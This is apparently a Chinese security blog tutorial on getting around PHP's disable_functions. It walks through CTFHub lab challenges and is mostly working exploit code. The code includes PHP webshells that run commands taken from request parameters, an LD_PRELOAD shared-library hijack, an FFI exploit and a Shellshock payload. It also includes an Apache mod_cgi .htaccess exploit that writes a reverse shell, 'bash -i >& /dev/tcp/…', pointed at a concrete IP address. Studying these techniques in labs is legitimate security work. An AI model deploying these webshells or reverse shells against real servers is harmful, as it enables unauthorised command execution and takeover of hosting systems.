PHP绕过disable_function限制

什么是disable_function

1
disable_functions是php.ini中的一个设置选项,可以用来设置PHP环境禁止使用某些函数,通常是网站管理员为了安全起见,用来禁用某些危险的命令执行函数等。(eval并非PHP函数,放在disable_functions中是无法禁用的,若要禁用需要用到PHP的扩展Suhosin。

image-20220327170813228

一、常规绕过

尝试利用没有禁用的函数绕过(捡漏)

1
exec,shell_exec,system,passthru,popen,proc_open

1、exec

1
<?php echo exec('whoami');?>

2、shell_exec

1
<?php echo shell_exec('whoami');?>

3、system

1
<?php system('whoami');?>

4、passthru

1
<?php passthru("whoami");?>

5、popen()

1
2
3
4
5
6
7
<?php
$command=$_GET['comd'];
$fd = popen($command, 'r');
while($s=fgets($fd)){
print_r($s);
}
?>

6、proc_open()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$command=$_GET['comd'];
$descriptorspec=array(
0=>array('pipe','r'),
1=>array('pipe','w'),
2=>array('pipe','w')
);
$handle=proc_open($command,$descriptorspec,$pipes,NULL);
if(!is_resource($handle)){
die('proc_open failed');
}
while($s=fgets($pipes[1])){
print_r($s);
}
while($s=fgets($pipes[2])){
print_r($s);
}
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($handle);
?>

二、系统组件绕过

实验环境:Windows、php5.x、支持COM组件

image-20220327160555134

基本原理:

1
COM组件它最早的设计意图是,跨语言实现程序组件的复用COM组件由以Win 32动态连接库(DLL)或可执行文件(EXE)形式发布的可执行代码所组成。遵循COM规范编写出来的组件将能够满足对组件架构的所有要求。COM组件可以给应用程序、操作系统以及其他组件提供服务;自定义的COM组件可以在运行时刻同其他组件连接起来构成某个应用程序;COM组件可以动态的插入或卸出应用。

代码:

1
2
3
4
5
6
7
8
<?php
$command=$_GET['cmd'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
print($stroutput);
?>

image-20220327160734655

二、LD_PRELOAD变量绕过

1
2
3
4
5
使用条件:
Linux 操作系统
putenv()
mail or error_log
存在可写的目录, 需要上传 .so 文件
1
LD_PRELOAD是linux下的一个环境变量,它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

思路:编制我们自己的动态链接程序。 通过php的putenv来设置LD_PRELOAD变量,让我们的程序优先被调用。 在webshell上用mail函数发送一封邮件来触发。

1、先写一个动态链接文件shell.c

1
2
3
4
5
6
7
8
9
10
11
#include<stdlib.h>
#include <stdio.h>
#include<string.h>
void payload(){
system("touch /var/www/html/shell.txt");
}
int geteuid(){
if(getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

当这个共享库中的geteuid被调用时,尝试加载payload()函数,执行命令,在/var/www/html目录下创建一个shell.txt

2、编译c

1
2
gcc -c -fPIC shell.c -o shell
gcc -shared shell -o shell.so

image-20220327162653386

3、将shell.so放在/var/www/html目录下,再编写一个index.php

1
2
3
4
<?php
putenv("LD_PRELOAD=/var/www/html/shell.so");
mail("[email protected]","","","","");
?>

4、访问index.php即可执行payload(在/var/www/html目录下创建一个shell.txt)

image-20220327172035143

image-20220327163018356

实例

题目来自ctfhub中web进阶的Bypass disable_function的LD_PRELOAD

1、先生成一个hack.c恶意动态链接库文件

1
2
3
4
5
6
7
8
9
10
11
#include<stdlib.h>
#include <stdio.h>
#include<string.h>
void payload(){
system("/readflag > /var/www/html/shell");
}
int geteuid(){
if(getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

2、编译

1
2
gcc -c -fPIC shell.c -o shell
gcc -shared shell -o shell.so

image-20220327194645941

3、将shell.so放在/var/www/html目录下,再编写一个shell.php

image-20220327194904389

4、访问shell.php即可获得payload

image-20220327195003404

四、中国蚁剑插件绕过

image-20220327190725125

五、利用PHP7.4 FFI

原理:

1
FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP 的 FFI 扩展就是一个让你在 PHP 里调用 C 代码的技术。FFI的使用只需声明和调用两步

使用条件:

1
2
3
Linux 操作系统
PHP >= 7.4
开启了 FFI 扩展且 ffi.enable=true

实例

题目来自ctfhub中web进阶的Bypass disable_function的FFI扩展

方法一:

蚁剑一步到位

image-20220327193119118

方法二:

1、上传exp

1
2
3
4
5
6
<?php
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("tac /flag> /tmp/123");
echo file_get_contents("/tmp/123");
@unlink("/tmp/123");
?>

image-20220327193248194

2、直接访问1.php即可获得flag

image-20220327193328852

六、利用shellshock(CVE-2014-6271)

原理:

1
目前的bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。核心的原因在于在输入的过滤中没有严格限制边界,没有做合法化的参数判断。

攻击者需要将恶意代码写入到环境变量里,传到服务器端,触发服务器运行bash脚本。

使用条件:

1
2
3
4
目标存在shellshock漏洞
PHP版本为PHP 5.X
linux系统
putenv()可用

实例:

题目来自ctfhub中web进阶的Bypass disable_function的Shellshock

该题目需要设置蚁剑编辑器为base64才可以成功连接

1、通过putenv来设置环境变量,默认putenv定义的环境变量名必须以PHP_开头。

1
2
3
4
5
6
<?php
@eval($_REQUEST['ant']);
putenv("PHP_test=() { :; }; tac /flag >> /var/www/html/shell.txt");
error_log("",1,"","");
//mail("admin@localhost","","","","");
?>

2、上传exp

image-20220328145807295

3、访问shell.php即可在/var/www/html目录下生成shell.txt文件

image-20220328145943647

七、利用Apache Mod CGI

原理:

1
CGI:CGI ,公共网关接口,它是 Web 服务器与外部应用程序(CGI 程序)之间传递信息的接口。通过 CGI 接口 Web 服务器就能够将客户端提交的信息转交给服务器端的 CGI 程序处理,最后返回结果给客户端。CGI是放在服务器上的可执行程序,CGI编程没有特定的语言,C语言,linux shell,perl,vb等等都可以进行CGI编程。
1
MOD_CGI:任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,另一种是文件位于ScriptAlias目录中.

若是想临时允许一个目录可以执行cgi程序并且使得服务器将自定义的后缀解析为cgi程序,则可以在目的目录下使用htaccess文件进行配置

1
2
Options +ExecCGI
AddHandler cgi-script .xxx

然后设置.xxx结尾的shell文件(shell.xxx)

1
2
#!/bin/bash
echo;whoami;uname -a

将.htacess和shell文件上传到指定目录后,需要给shell文件执行权限,下面我直接贴了大佬的exp。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
$cmd = "bash -i >& /dev/tcp/119.29.60.71/2333 0>&1"; //command to be executed "nc -c '/bin/bash' 10.11.12.13 8888"
$shellfile = "#!/bin/bash\n"; //using a shellscript
$shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; //header is needed, otherwise a 500 error is thrown when there is output
$shellfile .= "$cmd"; //executing $cmd
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
echo "$text: " . ($condition ? $yes : $no) . "<br>\n";
}
if (!isset($_GET['checked']))
{
@file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
}
else
{
$modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
$writable = is_writable('.'); //current dir writable?
$htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
checkEnabled("Is writable",$writable,"Yes","No");
checkEnabled("htaccess working",$htaccess,"Yes","No");
if(!($modcgi && $writable && $htaccess))
{
echo "Error. All of the above must be true for the script to work!"; //abort if not
}
else
{
checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension
checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script
}
}
?>

上传exp并访问后,会生成一个shell.dizzle的文件,内容为

1
2
3
#!/bin/bash 
echo -ne "Content-Type: text/html\n\n"
bash -i >& /dev/tcp/119.29.60.71/2333 0>&1

访问shell.dizzle之后即可执行我们所需要的命令

实例:

题目来自ctfhub中web进阶的Bypass disable_function的Apache Mod CGI

1、上传exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
$cmd = "tac /flag"; //command to be executed
$shellfile = "#!/bin/bash\n"; //using a shellscript
$shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; //header is needed, otherwise a 500 error is thrown when there is output
$shellfile .= "$cmd"; //executing $cmd
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
echo "$text: " . ($condition ? $yes : $no) . "<br>\n";
}
if (!isset($_GET['checked']))
{
@file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
}
else
{
$modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
$writable = is_writable('.'); //current dir writable?
$htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
checkEnabled("Is writable",$writable,"Yes","No");
checkEnabled("htaccess working",$htaccess,"Yes","No");
if(!($modcgi && $writable && $htaccess))
{
echo "Error. All of the above must be true for the script to work!"; //abort if not
}
else
{
checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension
checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script
}
}
?>

image-20220328151723447

2、访问shell.php即可在对应目录下生成.htaccess ,.htaccess.bak ,shell.dizzle 三个文件

image-20220328151836092

.htaccess

image-20220328151950188

.htaccess.bak

image-20220328152029336

shell.dizzle

image-20220328152100316

3、访问shell.dizzle即可获得flag

image-20220328152141289